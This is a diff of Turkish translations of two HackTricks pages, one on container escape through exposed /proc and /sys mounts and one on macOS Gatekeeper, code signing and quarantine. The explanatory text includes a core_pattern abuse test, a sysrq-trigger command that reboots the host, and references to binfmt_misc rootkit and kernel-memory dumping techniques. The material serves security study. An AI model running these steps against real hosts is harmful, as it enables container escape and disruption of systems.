* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
@ -10,11 +10,15 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
Doğru namespace izolasyonu olmadan `/proc` ve `/sys`'in maruz kalması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi ciddi güvenlik risklerini beraberinde getirir. Bu dizinler, yanlış yapılandırılmış veya yetkisiz bir kullanıcı tarafından erişilen hassas dosyalar içerir ve bu da konteyner kaçışına, ana bilgisayarın değiştirilmesine veya daha fazla saldırıya yardımcı olacak bilgilerin sağlanmasına yol açabilir. Örneğin, `-v /proc:/host/proc` şeklinde yanlış bağlama yapılması, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Doğru namespace izolasyonu olmadan `/proc` ve `/sys`'in maruz kalması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi ciddi güvenlik risklerini beraberinde getirir. Bu dizinler, yanlış yapılandırılmış veya yetkisiz bir kullanıcı tarafından erişilen hassas dosyaları içerir ve bu da konteyner kaçışına, ana bilgisayarın değiştirilmesine veya daha fazla saldırıya yardımcı olacak bilgilerin sağlanmasına yol açabilir. Örneğin, `-v /proc:/host/proc` şeklinde yanlış bağlama yapılması, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir.
**Her potansiyel zafiyetin daha fazla ayrıntısını** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** adresinde bulabilirsiniz.**
@ -22,13 +26,13 @@ Doğru namespace izolasyonu olmadan `/proc` ve `/sys`'in maruz kalması, saldır
### `/proc/sys`
Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini değiştirmeye izin verir ve endişe kaynağı olan birkaç alt dizini içerir:
Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini değiştirme izni verir ve endişe kaynağı olan birkaç alt dizini içerir:
#### **`/proc/sys/kernel/core_pattern`**
* [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) adresinde açıklanmıştır.
* İlk 128 baytı argümanlar olarak alan bir programın çekirdek dosyası oluşturulduğunda çalıştırılmasına izin verir. Dosya bir boru `|` ile başlıyorsa kod yürütme olabilir.
* **Test ve Sömürü Örneği**:
* Çekirdek dosyası oluşturulduğunda ilk 128 baytı argüman olarak alan bir programın tanımlanmasına izin verir. Dosya bir pipe `|` ile başlıyorsa kod yürütme olabilir.
* **Test Etme ve Sömürü Örneği**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Yazma erişimini test et
@ -50,7 +54,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
#### **`/proc/sys/vm/panic_on_oom`**
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde referans gösterilmiştir.
* Bir OOM durumu meydana geldiğinde çekirdeğin çökmesini veya OOM öldürücüyü çağırmasını kontrol eden genel bir bayrak.
* Bir OOM durumu meydana geldiğinde çekirdeğin çökmesini veya OOM öldürücüyü çağırmasını kontrol eden global bir bayrak.
#### **`/proc/sys/fs`**
@ -60,12 +64,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
#### **`/proc/sys/fs/binfmt_misc`**
* Sihirli sayılarına dayalı olmayan ikili biçimler için yorumlayıcıları kaydetmeye izin verir.
* `/proc/sys/fs/binfmt_misc/register` yazılabilirse ayrıcalık yükseltmesine veya kök kabuk erişimine yol açabilir.
* İlgili sömürü ve açıklama:
* `/proc/sys/fs/binfmt_misc/register` yazılabilirse ayrıcalık yükseltmesine veya kök kabuğu erişimine yol açabilir.
* İlgili saldırı ve açıklama:
* [binfmt\_misc ile yoksul adamın kök kiti](https://github.com/toffan/binfmt\_misc)
* Detaylı öğretici: [Video bağlantısı](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Diğerleri `/proc` içinde
### Diğerleri `/proc` İçinde
#### **`/proc/config.gz`**
@ -90,30 +94,30 @@ echo b > /proc/sysrq-trigger # Ana bilgisayarı yeniden başlatır
* Çekirdek dışa aktarılan sembolleri ve adreslerini listeler.
* Özellikle KASLR'yi aşmak için çekirdek saldırı geliştirme için temel öneme sahiptir.
* Adres bilgileri `kptr_restrict`'in `1` veya `2` olarak ayarlandığında kısıtlanır.
* Adres bilgileri `kptr_restrict`'in `1` veya `2` olarak ayarlanmasıyla sınırlıdır.
* Detaylar [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde bulunabilir.
#### **`/proc/[pid]/mem`**
* Çekirdek bellek cihazı `/dev/mem` ile etkileşim sağlar.
* Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır.
* Daha fazla bilgi için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresine bakabilirsiniz.
* Daha fazlası [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde bulunabilir.
#### **`/proc/kcore`**
* Sistemin fiziksel belleğini ELF çekirdek formatında temsil eder.
* Sistemin fiziksel belleğini ELF çekirdek biçiminde temsil eder.
* Okuma, ana bilgisayar sistemi ve diğer konteynerlerin bellek içeriğini sızdırabilir.
* Büyük dosya boyutu okuma sorunlarına veya yazılım çökmelerine yol açabilir.
* Detaylı kullanım [2019'da /proc/kcore'un Dökülmesi](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) adresinde bulunabilir.
* Detaylı kullanım [2019'da /proc/kcore Dökme](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) adresinde bulunabilir.
#### **`/proc/kmem`**
* `/dev/kmem` için alternatif arayüz, çekirdek sanal belleğini temsil eder.
* Çekirdek sanal belleği temsil eden `/dev/kmem` için alternatif arayüz.
* Okuma ve yazma izni verir, dolayısıyla çekirdek belleğinin doğrudan değiştirilmesine olanak tanır.
#### **`/proc/mem`**
* `/dev/mem` için alternatif arayüz, fiziksel belleği temsil eder.
* Fiziksel belleği temsil eden `/dev/mem` için alternatif arayüz.
* Okuma ve yazma izni verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere çözülmesini gerektirir.
#### **`/proc/sched_debug`**
@ -169,7 +173,7 @@ cat /output %%%
#### **`/sys/firmware/efi/vars` ve `/sys/firmware/efi/efivars`**
* NVRAM'daki EFI değişkenleriyle etkileşim için arayüzler sunar.
* Yanlış yapılandırma veya kötüye kullanım, tuğla haline getirilmiş dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir.
* Yanlış yapılandırma veya kötüye kullanım, tuğla gibi olan dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir.
#### **`/sys/kernel/debug`**
@ -181,3 +185,21 @@ cat /output %%%
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,43 +2,46 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler göndererek paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* **Hacking püf noktalarınızı göndererek HackTricks deposuna** [**PR göndererek**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud deposuna**](https://github.com/carlospolop/hacktricks-cloud) **katkıda bulunun**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
**Gatekeeper**, Mac işletim sistemleri için geliştirilen bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamayı amaçlar. Kullanıcıların App Store dışındaki kaynaklardan indirdikleri ve açmaya çalıştıkları yazılımları doğrulayarak çalıştırmasını sağlar.
**Gatekeeper**, Mac işletim sistemleri için geliştirilen bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamayı amaçlar. Kullanıcının **App Store dışındaki kaynaklardan** (uygulama, eklenti veya yükleyici paketi gibi) indirdiği ve açmaya çalıştığı yazılımı **doğrulayarak** çalışmasını sağlar.
Gatekeeper'ın ana mekanizması, **doğrulama** sürecinde yatar. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalandığını** kontrol eder, yazılımın otantikliğini sağlar. Ayrıca, yazılımın **Apple tarafından noterize edilip edilmediğini** de kontrol eder, bu da yazılımın bilinen kötü amaçlı içerikten arındırıldığını ve noterizasyondan sonra değiştirilmediğini doğrular.
Gatekeeper'ın ana mekanizması, **doğrulama** sürecinde yatar. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalandığını** kontrol eder, yazılımın otantikliğini sağlar. Ayrıca, yazılımın **Apple tarafından noterize edilip edilmediğini** de kontrol eder, bu da yazılımın bilinen kötü amaçlı içerikten yoksun olduğunu ve noterizasyondan sonra değiştirilmediğini doğrular.
Ek olarak, Gatekeeper, kullanıcıların indirdikleri yazılımın ilk kez açılmasını **onaylamalarını isteyerek** kullanıcı kontrolünü ve güvenliğini güçlendirir. Bu koruma, kullanıcıların zararlı yürütülebilir kodları yanlışlıkla zararsız veri dosyası olarak yanlış anlayarak çalıştırmalarını engeller.
Ek olarak, Gatekeeper, kullanıcıların indirdikleri yazılımın ilk kez açılmasını **onaylamalarını isteyerek** kullanıcı kontrolünü ve güvenliğini güçlendirir. Bu koruma, kullanıcıların zararlı olabilecek yürütülebilir kodları yanlışlıkla zararsız veri dosyası olarak yanlış anlamalarını önler.
### Uygulama İmzaları
Uygulama imzaları, Apple'ın güvenlik altyapısının kritik bir bileşenidir. Bunlar, yazılım yazarının (geliştiricinin) kimliğini **doğrulamak** ve kodun son imzalandığından beri değiştirilmediğinden emin olmak için kullanılır.
Uygulama imzaları, Apple'ın güvenlik altyapısının önemli bir bileşenidir. Bunlar, yazılım yazarının (geliştiricinin) kimliğini **doğrulamak** ve kodun son imzalandığından beri değiştirilmediğinden emin olmak için kullanılır.
İşleyişi şöyle:
1. **Uygulamanın İmzalanması:** Bir geliştirici uygulamasını dağıtmaya hazır olduğunda, uygulamayı **özel bir anahtar kullanarak imzalar**. Bu özel anahtar, geliştiricinin Apple Geliştirici Programı'na kaydolduğunda Apple'ın geliştiriciye verdiği bir **sertifika ile ilişkilidir**. İmzalama işlemi, uygulamanın tüm parçalarının kriptografik bir özetini oluşturmayı ve bu özeti geliştiricinin özel anahtarıyla şifrelemeyi içerir.
2. **Uygulamanın Dağıtılması:** İmzalanan uygulama, kullanıcılara geliştiricinin sertifikasını içeren birlikte dağıtılır, bu sertifika karşılık gelen genel anahtarı içerir.
2. **Uygulamanın Dağıtılması:** İmzalanan uygulama, geliştiricinin sertifikasıyla birlikte kullanıcılara dağıtılır, bu sertifika ilgili genel anahtarı içerir.
3. **Uygulamanın Doğrulanması:** Bir kullanıcı uygulamayı indirip çalıştırmaya çalıştığında, Mac işletim sistemi geliştiricinin sertifikasındaki genel anahtarı kullanarak özeti şifreler. Daha sonra uygulamanın mevcut durumuna dayanarak özeti yeniden hesaplar ve bu özeti şifrelenmiş özetiyle karşılaştırır. Eşleşirse, bu, uygulamanın geliştirici tarafından imzalandığından beri **değiştirilmediği** anlamına gelir ve sistem uygulamanın çalışmasına izin verir.
Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin önemli bir parçasıdır. Bir kullanıcı, **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer Apple tarafından bilinen bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde, uygulamayı engeller ve kullanıcıyı uyarır.
Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin önemli bir parçasıdır. Bir kullanıcı **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer Apple tarafından bilinen bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde, uygulamayı engeller ve kullanıcıyı uyarır.
macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından noterize edilip edilmediğini** de kontrol eder, ek bir güvenlik katmanı ekler. Noterizasyon süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kodlar açısından kontrol eder ve bu kontrolleri geçerse, Apple uygulamaya Gatekeeper'ın doğrulayabileceği bir bilet ekler.
macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından noterize edilip edilmediğini** de kontrol eder, ek bir güvenlik katmanı ekler. Noterizasyon süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kodlar açısından kontrol eder ve bu kontrolleri geçerse, Apple uygulamaya Gatekeeper'ın doğrulayabileceği bir bileşen ekler.
#### İmzaları Kontrol Etme
Bazı **kötü amaçlı yazılım örneğini** kontrol ederken her zaman **binary'nin imzasını kontrol etmelisiniz**, çünkü imzayı atan **geliştirici** zaten **kötü amaçlı yazılımla ilişkili** olabilir.
Bazı **kötü amaçlı yazılım örneğini kontrol ederken** her zaman **binary'nin imzasını kontrol etmelisiniz**, çünkü **imzayı atan geliştirici** zaten **kötü amaçlı yazılımla ilişkili** olabilir.
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -57,30 +60,30 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarizasyon
Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet verir. Bu, geliştiricinin uygulamasını Apple'ın Notary Service tarafından incelenmesi için sunmasıyla gerçekleşir, bu da App Review ile karıştırılmamalıdır. Bu hizmet, gönderilen yazılımı kötü amaçlı içerik ve kod imzalama ile ilgili olası sorunlar açısından inceleyen otomatik bir sistemdir.
Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet verir. Bu, geliştiricinin uygulamasını Apple'ın Notary Service tarafından incelenmesi için sunmasıyla gerçekleşir, bu da App Review ile karıştırılmamalıdır. Bu hizmet, gönderilen yazılımı **zararlı içerik** ve kod imzalama ile ilgili olası sorunları inceleyen **otomatik bir sistem**dir.
Eğer yazılım bu incelemeyi sorunsuz bir şekilde geçerse, Notary Service bir notarizasyon bileti oluşturur. Geliştiricinin daha sonra bu bileti yazılımlarına eklemesi gerekmektedir, bu işlem 'stapling' olarak bilinir. Ayrıca, notarizasyon bileti aynı zamanda çevrimiçi olarak da yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir.
Eğer yazılım bu incelemeyi **sorunsuz bir şekilde** geçerse, Notary Service bir notarizasyon bileti oluşturur. Geliştiricinin daha sonra bu bileti yazılımlarına **eklemesi** gerekir, bu işlem 'stapling' olarak bilinir. Ayrıca, notarizasyon bileti de çevrimiçi olarak yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir.
Kullanıcının yazılımı ilk kez yüklediğinde veya çalıştırdığında, yürütülebilir dosyaya eklenmiş veya çevrimiçi bulunan notarizasyon bileti - Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir. Sonuç olarak, Gatekeeper, kullanıcıya yazılımın Apple tarafından kötü amaçlı içerikler için kontrol edildiğini belirten açıklayıcı bir mesaj gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliği konusundaki güvenlerini artırır.
Kullanıcı yazılımı ilk kez yüklediğinde veya çalıştırdığında, yürütülebilir dosyaya eklenmiş veya çevrimiçi bulunan notarizasyon bileti **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, kullanıcıya yazılımın Apple tarafından zararlı içerik açısından kontrol edildiğini belirten açıklayıcı bir mesaj gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliği konusundaki güvenlerini artırır.
### GateKeeper'ın Numaralandırılması
### GateKeeper'ın Sıralanması
GateKeeper, güvenilmeyen uygulamaların yürütülmesini engelleyen birkaç güvenlik bileşeninden oluşur ve aynı zamanda bu bileşenlerden biridir.
GateKeeper, güvenilmeyen uygulamaların yürütülmesini engelleyen **birkaç güvenlik bileşeni** ve aynı zamanda **bileşenlerden biri**dir.
GateKeeper'ın durumunu görmek mümkündür:
GateKeeper'ın **durumunu** görmek mümkündür:
```bash
# Check the status
spctl --status
```
{% hint style="danger" %}
GateKeeper imza kontrollerinin yalnızca **Karantina özniteliğine sahip dosyalarda** gerçekleştirildiğini unutmayın.
GateKeeper imza kontrollerinin yalnızca **Karantina özniteliğine sahip dosyalara** uygulandığını unutmayın.
{% endhint %}
GateKeeper, bir ikili dosyanın yürütülebilir olup olmadığını **tercihlere ve imzaya** göre kontrol eder:
GateKeeper, bir ikili dosyanın yürütülebilir olup olmadığını **tercihlere ve imzaya** göre kontrol edecektir:
<figure><img src="../../../.gitbook/assets/image (1147).png" alt=""><figcaption></figcaption></figure>
Bu yapılandırmayı tutan veritabanı **`/var/db/SystemPolicy`** konumundadır. Bu veritabanını kök olarak şu şekilde kontrol edebilirsiniz:
Bu yapılandırmayı tutan veritabanı **`/var/db/SystemPolicy`** konumundadır. Bu veritabanını kök olarak kontrol edebilirsiniz:
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -94,10 +97,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
Not: İlk kuralın "**App Store**" ile bittiğine ve ikincisinin "**Developer ID**" ile bittiğine dikkat edin ve önceki görüntüde uygulamaların **App Store ve tanımlanmış geliştiricilerden çalıştırılmasına izin verildiğine** dikkat edin.\
Eğer bu ayarı App Store olarak **değiştirirseniz, "Notarized Developer ID" kuralları kaybolacaktır**.
Not: İlk kuralın "**App Store**" ile bittiğine ve ikincisinin "**Developer ID**" ile bittiğine dikkat edin ve önceki görüntüde **App Store ve tanımlanmış geliştiricilerden uygulamaları çalıştırmaya izin verildiği** unutulmamalıdır.\
Eğer o ayarı App Store olarak **değiştirirseniz, "Notarized Developer ID" kuralları kaybolacaktır**.
Ayrıca **binlerce GKE türünde kural** bulunmaktadır:
Ayrıca **GKE türünde binlerce kural** bulunmaktadır:
```bash
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@ -106,9 +109,9 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```
Bu, **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** ve **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`** dosyalarından gelen karma değerlerdir.
Bu, **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** ve **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`** dosyalarından gelen karmaşalardır.
Ya da önceki bilgileri şu şekilde listeleyebilirsiniz:
Önceki bilgileri listelemek için şunu da kullanabilirsiniz:
```bash
sudo spctl --list
```
@ -147,16 +150,16 @@ spctl --assess -v /Applications/App.app
```
### Karantina Dosyaları
Bir uygulama veya dosya indirildiğinde, macOS **uygulamaları** web tarayıcıları veya e-posta istemcileri gibi belirli uygulamalar, indirilen dosyaya genellikle "**karantina bayrağı**" olarak bilinen genişletilmiş bir dosya özniteliği ekler. Bu öznitelik, dosyayı güvenilmeyen bir kaynaktan (internet) geldiği ve potansiyel riskler taşıdığı şeklinde işaretlemek için bir güvenlik önlemi olarak hareket eder. Ancak, tüm uygulamalar bu özniteliği eklemeyebilir, örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar.
Bir uygulama veya dosya indirildiğinde, macOS'taki belirli uygulamalar (örneğin web tarayıcıları veya e-posta istemcileri), genellikle "**karantina bayrağı**" olarak bilinen genişletilmiş bir dosya özniteliği ekler. Bu öznitelik, dosyayı güvenilmeyen bir kaynaktan (internet) geldiği ve potansiyel riskler taşıdığı şeklinde işaretlemek için bir güvenlik önlemi olarak hareket eder. Ancak, tüm uygulamalar bu özniteliği eklemeyebilir, örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar.
**Karantina bayrağının varlığı, bir kullanıcının dosyayı çalıştırmaya çalıştığında macOS'in Gatekeeper güvenlik özelliğine sinyal verir**.
Karantina bayrağının **bulunmadığı durumda** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri gerçekleştirilmeyebilir**. Bu nedenle, kullanıcılar, daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmalıdır.
Karantina bayrağının **bulunmadığı durumlarda** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri gerçekleştirilmeyebilir**. Bu nedenle, kullanıcılar, daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmalıdır.
{% hint style="info" %}
Kod imzalarının **geçerliliğini kontrol etmek**, kodun ve tüm paketlenmiş kaynaklarının kriptografik **hash'lerini oluşturmayı** içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, sertifikanın verildikten sonra iptal edilip edilmediğini görmek için Apple'ın sunucularına **çevrimiçi bir kontrol** yapmayı içerir. Bu nedenlerden dolayı, her bir uygulama başlatıldığında tam bir kod imzası ve noterleme kontrolünün **her seferinde çalıştırılması uygulanabilir değildir**.
Kod imzalarının geçerliliğini kontrol etmek, kodun ve tüm paketlenmiş kaynakların kriptografik **hash'lerini oluşturmayı** içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, sertifikanın verildikten sonra iptal edilip edilmediğini görmek için Apple'ın sunucularına **çevrimiçi bir kontrol** yapmayı içerir. Bu nedenlerden dolayı, her bir uygulama başlatıldığında tam bir kod imzası ve noterleme kontrolünün **her seferinde çalıştırılması pratik değildir**.
Bu nedenle, bu kontroller, **yalnızca karantina bayrağı özniteliğine sahip uygulamalar çalıştırıldığında çalıştırılır**.
Bu nedenle, bu kontroller, **yalnızca karantina bayrağına sahip uygulamalar çalıştırıldığında yapılır**.
{% endhint %}
{% hint style="warning" %}
@ -165,7 +168,7 @@ Bu öznitelik, dosyayı oluşturan/indiren uygulama tarafından **ayarlanmalıd
Ancak, kumlanmış dosyalar, oluşturdukları her dosyaya bu özniteliği ayarlayacaktır. Kumlanmamış uygulamalar kendileri ayarlayabilir veya **Info.plist** içinde [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) anahtarını belirleyebilirler, bu da sistemin oluşturulan dosyalara `com.apple.quarantine` genişletilmiş özniteliğini ayarlamasını sağlar.
{% endhint %}
Durumunu **kontrol etmek ve etkinleştirmek/devre dışı bırakmak** (kök gereklidir) mümkündür:
Durumunu **kontrol etmek ve etkinleştirmek/devre dışı bırakmak** (kök erişimi gereklidir) mümkündür:
```bash
spctl --status
assessments enabled
@ -200,7 +203,7 @@ Gerçekte bir işlem "oluşturduğu dosyalara karantina bayrakları ayarlayabili
<details>
